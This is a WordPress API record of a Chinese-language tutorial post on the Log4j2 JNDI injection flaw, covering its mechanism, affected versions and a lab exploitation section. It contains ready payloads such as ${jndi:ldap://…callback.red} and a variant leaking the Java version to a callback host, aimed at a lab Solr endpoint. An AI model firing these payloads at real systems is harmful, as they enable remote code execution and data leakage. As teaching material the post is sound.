{"id":1591,"date":"2025-01-19T22:29:47","date_gmt":"2025-01-19T14:29:47","guid":{"rendered":"http:\/\/gzxingyu.cloud\/?p=1591"},"modified":"2025-01-19T22:29:47","modified_gmt":"2025-01-19T14:29:47","slug":"06-apache-log4j2-%e6%bc%8f%e6%b4%9e","status":"publish","type":"post","link":"http:\/\/gzxingyu.cloud\/index.php\/2025\/01\/19\/06-apache-log4j2-%e6%bc%8f%e6%b4%9e\/","title":{"rendered":"06.Apache Log4j2 \u6f0f\u6d1e"},"content":{"rendered":"<h2>\u4e00\u3001Apache Log4j \u7b80\u4ecb<\/h2>\n<p>Apache Log4j \u662f Apache \u8f6f\u4ef6\u57fa\u91d1\u4f1a\u7684\u4e00\u4e2a\u5f00\u6e90 Java \u65e5\u5fd7\u8bb0\u5f55\u6846\u67b6\u3002<\/p>\n<p>Log4j2 \u662f Log4j \u7684\u7b2c\u4e8c\u4ee3\u7248\u672c\uff0c\u63d0\u4f9b\u4e86\u6bd4\u5176\u524d\u8eab Log4j 1.x \u66f4\u591a\u7684\u6539\u8fdb\u548c\u7279\u6027<\/p>\n<p>\u4f7f\u7528 Log4j2 \u6211\u4eec\u53ef\u4ee5\u63a7\u5236\u65e5\u5fd7\u4fe1\u606f\u8f93\u9001\u7684\u76ee\u7684\u5730\u4e3a\u63a7\u5236\u53f0\u3001\u6587\u4ef6\u3001GUI \u7ec4\u4ef6\u7b49\uff0c\u901a\u8fc7\u5b9a\u4e49\u6bcf\u4e00\u6761\u65e5\u5fd7\u4fe1\u606f\u7684\u7ea7\u522b\uff0c\u80fd\u591f\u66f4\u52a0\u7ec6\u81f4\u5730\u63a7\u5236\u65e5\u5fd7\u7684\u751f\u6210\u8fc7\u7a0b\u3002<\/p>\n<h2>\u4e8c\u3001\u6f0f\u6d1e\u7b80\u4ecb<\/h2>\n<p>\u6f0f\u6d1e\u7684\u6838\u5fc3\u5728\u4e8e Log4j2 \u63d0\u4f9b\u7684 Lookup \u529f\u80fd\u4e0b\u7684 Jndi Lookup \u6a21\u5757\u3002\u6b63\u5e38\u60c5\u51b5\u4e0b\uff0c\u8be5\u529f\u80fd\u6a21\u5757\u5728\u8f93\u51fa\u65e5\u5fd7\u4fe1\u606f\u65f6\u5141\u8bb8\u5f00\u53d1\u4eba\u5458\u901a\u8fc7\u76f8\u5e94\u7684\u534f\u8bae\u53bb==\u8bf7\u6c42\u8fdc\u7a0b\u4e3b\u673a\u4e0a\u7684\u8d44\u6e90==\u3002<\/p>\n<p>Log4j2 \u5728\u5904\u7406\u65e5\u5fd7\u8bb0\u5f55\u8bf7\u6c42\u65f6\uff0c\u6ca1\u6709\u6b63\u786e\u5730\u5bf9\u8f93\u5165\u6570\u636e\u8fdb\u884c\u8fc7\u6ee4\u548c\u9a8c\u8bc1\uff0c\u5141\u8bb8\u653b\u51fb\u8005\u901a\u8fc7\u6784\u9020\u7279\u5b9a\u7684\u65e5\u5fd7\u8f93\u5165\uff0c\u89e6\u53d1 Java JNDI\uff08Java Naming and Directory Interface\uff09\u670d\u52a1\u7684\u8fdc\u7a0b\u67e5\u8be2\uff0c\u4ece\u800c\u8ba9\u653b\u51fb\u8005\u53ef\u4ee5\u8bf7\u6c42\u5e76\u6267\u884c\u8fdc\u7a0b\u4e3b\u673a\u4e0a\u7684\u6076\u610f\u4ee3\u7801\u3002<\/p>\n<p>\u653b\u51fb\u8005\u53ef\u4ee5\u901a\u8fc7\u5411\u5e94\u7528\u7a0b\u5e8f\u53d1\u9001\u542b\u6709\u6076\u610f JNDI \u67e5\u627e\u8bf7\u6c42\u7684\u65e5\u5fd7\u6d88\u606f\uff0c\u5229\u7528\u6f0f\u6d1e\u6267\u884c\u8fdc\u7a0b\u4ee3\u7801\u3002<\/p>\n<p>\u89e6\u53d1\u6f0f\u6d1e\u7684\u4e24\u90e8\u5206\u5173\u952e\u4ee3\u7801\uff1a<\/p>\n<ol>\n<li>org.apache.logging.log4j.core.pattern.MessagePatternConverter \u7684 format() \u65b9\u6cd5\uff08\u8868\u8fbe\u5f0f\u5185\u5bb9\u66ff\u6362\uff09\uff1a<br \/>\n\u8fd9\u90e8\u5206\u5185\u5bb9\u91cd\u70b9\u5c31\u5728\u4e8e\u4ee3\u7801\u7684\u4e3b\u8981\u5185\u5bb9\u5c31\u662f\u4e00\u65e6\u53d1\u73b0\u65e5\u5fd7\u4e2d\u5305\u542b ${ \u5c31\u4f1a\u5c06\u8868\u8fbe\u5f0f\u7684\u5185\u5bb9\u66ff\u6362\u4e3a\u8868\u8fbe\u5f0f\u89e3\u6790\u540e\u7684\u5185\u5bb9\uff0c\u800c\u4e0d\u662f\u8868\u8fbe\u5f0f\u672c\u8eab\uff0c\u4ece\u800c\u5bfc\u81f4\u653b\u51fb\u8005\u6784\u9020\u7b26\u5408\u8981\u6c42\u7684\u8868\u8fbe\u5f0f\u4f9b\u7cfb\u7edf\u6267\u884c\u3002<\/li>\n<\/ol>\n<p>\u5728 ${ \u4e2d\u53ef\u4ee5\u4f7f\u7528\u7684\u90e8\u5206\u5173\u952e\u8bcd\u5982\u4e0b\uff1a<\/p>\n<ul>\n<li>Log4j &#8211; java<\/li>\n<\/ul>\n<pre><code>${java:version}    getSystemProperty(&quot;java.version&quot;)\n${java:runtime}    getRuntime()\n${java:vm}    getVirtualMachine()\n${java:os}    getOperatingSystem()\n${java:hw}    getHardware()\n${java:locale}    getLocale()\n<\/code><\/pre>\n<ul>\n<li>Linux &#8211; env<\/li>\n<\/ul>\n<pre><code>${env:CLASSPATH}\n${env:HOME}\n${env:JAVA_HOME}\n${env:LANG}\n${env:LC_TERMINAL}\n<\/code><\/pre>\n<ol start=\"2\">\n<li>apache.logging.log4j.core.lookup.StrSubstitutor\uff08\u63d0\u53d6\u5b57\u7b26\u4e32\uff0c\u5e76\u901a\u8fc7 lookup \u8fdb\u884c\u5185\u5bb9 \u66ff\u6362\uff09<br \/>\n\u65e5\u5fd7\u5728\u6253\u5370\u65f6\u5f53\u9047\u5230 ${ \u540e\uff0c Interpolator \u7c7b\u4ee5 : \u53f7\u4f5c\u4e3a\u5206\u5272\uff0c\u5c06\u8868\u8fbe\u5f0f\u5185\u5bb9\u5206\u5272\u6210\u4e24\u90e8\u5206\uff1a<\/li>\n<\/ol>\n<ul>\n<li>\u524d\u9762\u90e8\u5206\u4f5c\u4e3a prefix<\/li>\n<li>\u540e\u9762\u90e8\u5206\u4f5c\u4e3a key<\/li>\n<\/ul>\n<p>\u7136\u540e\u901a\u8fc7 prefix \u53bb\u627e\u5bf9\u5e94\u7684lookup\uff0c\u901a\u8fc7\u5bf9\u5e94\u7684 lookup \u5b9e\u4f8b\u8c03\u7528 lookup \u65b9\u6cd5\uff0c\u6700\u540e\u5c06key\u4f5c\u4e3a\u53c2\u6570\u5e26\u5165\u6267\u884c\u3002<br \/>\n\u7531\u4e8e Log4j2 \u652f\u6301\u5f88\u591a\u534f\u8bae\uff0c\u4f8b\u5982\u901a\u8fc7 ldap \u67e5\u627e\u53d8\u91cf\uff0c\u901a\u8fc7 docker \u67e5\u627e\u53d8\u91cf\uff0c\u901a\u8fc7rmi\u7b49\u7b49\u3002 \u76ee\u524d\u4f7f\u7528\u6700\u591a\u7684\u4e3b\u8981\u662f\u4f7f\u7528 ldap \u6765\u6784\u9020 payload\uff1a<\/p>\n<pre><code>${jndi:ldap:\/\/ip\/port\/exp}\n<\/code><\/pre>\n<p>\u6700\u7ec8\u6548\u679c\u5c31\u662f\u901a\u8fc7 jndi \u6ce8\u5165\uff0c\u501f\u52a9 ldap \u670d\u52a1\u6765\u4e0b\u8f7d\u6267\u884c\u6076\u610fpayload\uff0c\u4ece\u800c\u6267\u884c\u547d\u4ee4<br \/>\n\u6574\u4e2a\u5229\u7528\u6d41\u7a0b\u5206\u4e24\u6b65\uff1a<\/p>\n<ul>\n<li>\u7b2c\u4e00\u6b65\uff1a\u5411\u76ee\u6807\u53d1\u9001\u6307\u5b9apayload\uff0c\u76ee\u6807\u5bf9 payload \u8fdb\u884c\u89e3\u6790\u6267\u884c\uff0c\u7136\u540e\u4f1a\u901a\u8fc7 ldap \u94fe\u63a5\u8fdc\u7a0b\u670d\u52a1\uff0c\u5f53 ldap \u670d\u52a1\u6536\u5230\u8bf7\u6c42\u4e4b\u540e\uff0c\u5c06\u8bf7\u6c42\u8fdb\u884c\u91cd\u5b9a\u5411\u5230\u6076\u610f java class \u7684\u5730\u5740\u3002<\/li>\n<li>\u7b2c\u4e8c\u6b65\uff1a\u76ee\u6807\u670d\u52a1\u5668\u6536\u5230\u91cd\u5b9a\u5411\u8bf7\u6c42\u4e4b\u540e\uff0c\u4e0b\u8f7d\u6076\u610f class \u5e76\u6267\u884c\u5176\u4e2d\u7684\u4ee3\u7801\uff0c\u4ece\u800c\u6267\u884c\u7cfb\u7edf\u547d\u4ee4\u3002<\/li>\n<\/ul>\n<p><img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/01\/Pasted-image-20250116214031.png\" alt=\"Pasted image 20250116214031.png\"><\/p>\n<h2>\u4e09\u3001\u6f0f\u6d1e\u8303\u56f4<\/h2>\n<h3>1.\u5f71\u54cd\u7ec4\u4ef6\u5e94\u7528<\/h3>\n<ul>\n<li>Apache Struts2<\/li>\n<li>Apache Solr<\/li>\n<li>Apache Druid<\/li>\n<li>Apache Flink<\/li>\n<li>srping-boot-strater-log4j2<\/li>\n<\/ul>\n<h3>2.\u5f71\u54cd Log4j \u7248\u672c<\/h3>\n<p>Apache Log4j 2.0 ~ 2.15.0-rc1<\/p>\n<h2>\u56db\u3001\u6f0f\u6d1e\u5229\u7528<\/h2>\n<h3>1.\u6f0f\u6d1e\u6d4b\u8bd5<\/h3>\n<p>\u6f0f\u6d1e\u6d4b\u8bd5 POC<\/p>\n<pre><code>${jndi:ldap:\/\/6ut7.callback.red}\n\nhttp:\/\/a296307fb645.target.yijinglab.com\/solr\/admin\/cores?action=${jndi:ldap:\/\/gly7.call back.red}\n<\/code><\/pre>\n<pre><code>${jndi:ldap:\/\/${sys:java.version}.6ut7.callback.red}\n\nhttp:\/\/41a76f22d34b.target.yijinglab.com\/solr\/admin\/cores?action=${jndi:ldap:\/\/${sys:java.version}.6ut7.callback.red}\n<\/code><\/pre>\n<p><img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/01\/Pasted-image-20250116215536.png\" alt=\"Pasted image 20250116215536.png\"><\/p>\n<h3>2.jndi_marshalsec<\/h3>\n<p><img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/01\/Pasted-image-20250116222445.png\" alt=\"Pasted image 20250116222445.png\"><\/p>\n<p><img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/01\/Pasted-image-20250116222515.png\" alt=\"Pasted image 20250116222515.png\"><\/p>\n<h3>3.Log4j2VulnExp<\/h3>\n<p><img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/01\/Pasted-image-20250116225626.png\" alt=\"Pasted image 20250116225626.png\"><\/p>\n<h3>4.JNDI-Injection-Exploit<\/h3>\n","protected":false},"excerpt":{"rendered":"<p>\u4e00\u3001Apache Log4j \u7b80\u4ecb Apache Log4j \u662f Apache \u8f6f\u4ef6\u57fa\u91d1\u4f1a\u7684\u4e00\u4e2a\u5f00\u6e90 Java [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[52,9],"tags":[],"class_list":["post-1591","post","type-post","status-publish","format-standard","hentry","category-52","category-9"],"_links":{"self":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts\/1591","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/comments?post=1591"}],"version-history":[{"count":1,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts\/1591\/revisions"}],"predecessor-version":[{"id":1592,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts\/1591\/revisions\/1592"}],"wp:attachment":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/media?parent=1591"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/categories?post=1591"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/tags?post=1591"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}